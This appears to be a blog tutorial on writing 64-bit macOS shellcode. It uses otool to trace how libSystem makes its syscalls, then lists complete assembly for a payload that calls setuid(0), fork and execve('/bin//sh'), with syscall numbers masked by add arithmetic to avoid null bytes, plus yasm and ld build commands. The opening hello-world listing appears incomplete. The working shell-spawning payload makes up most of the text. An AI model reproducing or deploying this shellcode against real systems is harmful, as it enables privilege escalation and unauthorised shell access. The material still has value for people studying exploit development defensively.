OSX Shellcode writing tutorial (64 bits)

In the previous post we learned to make a 32-bit shellcode. In this post we will make the 64 bits version.
We imagine that the 64-bit parameters are as in FreeBSD and they are using syscall. So far so good... Let's go!

This is our famous "hello girls", but this time are a little different, and the string fit in one record ;-)

    section .text
            global _start

            mov     rax, 4
            mov     rdi, 1
            mov     rsi, 0x707574696c6c610a
            mov     rdx, 8
            mov     rax, 1
            xor         rdi, rdi

    Mustang:64 capi_x$ yasm -f macho64 hello.s -o hello64.o
    Mustang:64 capi_x$ ld -static -arch x86_64 -e _start hello64.o -o hello64
    Mustang:64 capi_x$ ./hello64

    Bus error

Wow... so pretty... :) Well then, step by step.

We created a similar C file, compile and disassemble it.

    int main() {
            write(1,"Hola OSX\n",9);

The disassembly shows the following:

    0000000100000f04        pushq   %rbp
    0000000100000f05        movq    %rsp,%rbp
    0000000100000f08        movl    $0x00000009,%edx
    0000000100000f0d        leaq    0x00000042(%rip),%rsi
    0000000100000f14        movl    $0x00000001,%edi
    0000000100000f19        movl    $0x00000000,%eax
    0000000100000f1e        callq   0x00000f2c
    0000000100000f23        leave
    0000000100000f24        ret

Apparently is using a dynamic library. If we disassemble it maybe we can see how make the syscalls :-P

    Mustang:64 capi_x$ otool -L hello
    /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.2.1)

Ok, now disassemble the _write routine from the dynamic library.

    Mustang:64 capi_x$ otool -p _write -t -v -V /usr/lib/libSystem.B.dylib | head -6 | tail -3
    00000000000137c8        movl    $0x02000004,%eax
    00000000000137cd        movq    %rcx,%r10
    00000000000137d0        syscall

As can be seen, the syscall is performed differently than 32bit.

Thus, I built the following shellcode :-)

    BITS 64

    section .data
            msg     dd      '0wn3d'

    section .text
            global _start

            mov  eax, 0xfa8888a0
            add  eax, 0x07777777
            ;mov  eax, 0x2000017
            xor  rdi, rdi
            syscall    ; setuid(0)
            mov  eax, 0xfa88888b
            add  eax, 0x07777777
            ;mov  eax, 0x2000002
            syscall    ; fork(0)
            mov  eax, 0xfa888a19
            add  eax, 0x07777777
            ;mov  eax, 0x2000190
            xor  rdx, rdx
            xor  rsi, rsi
            syscall     ; wait4(0)
            mov  eax, 0xfa8888c4
            add  eax, 0x07777777
            ;mov  eax, 0x200003b
            mov  rdi, 0x68732f2f6e69622f
            push rsi
            push rdi
            mov  rdi, rsp
            syscall    ; execve()

(Incidentally, the data section is very curious, one of these days I explain)

To compile it, you can also use "yasm" as follows:

    yasm -f macho64 forkexecve64.s -o forkexecve64.o
    ld -e _start -arch x86_64 -static forkexecve64.o -o forkexecve64

Happy Hacking!
“No user serviceable parts included.”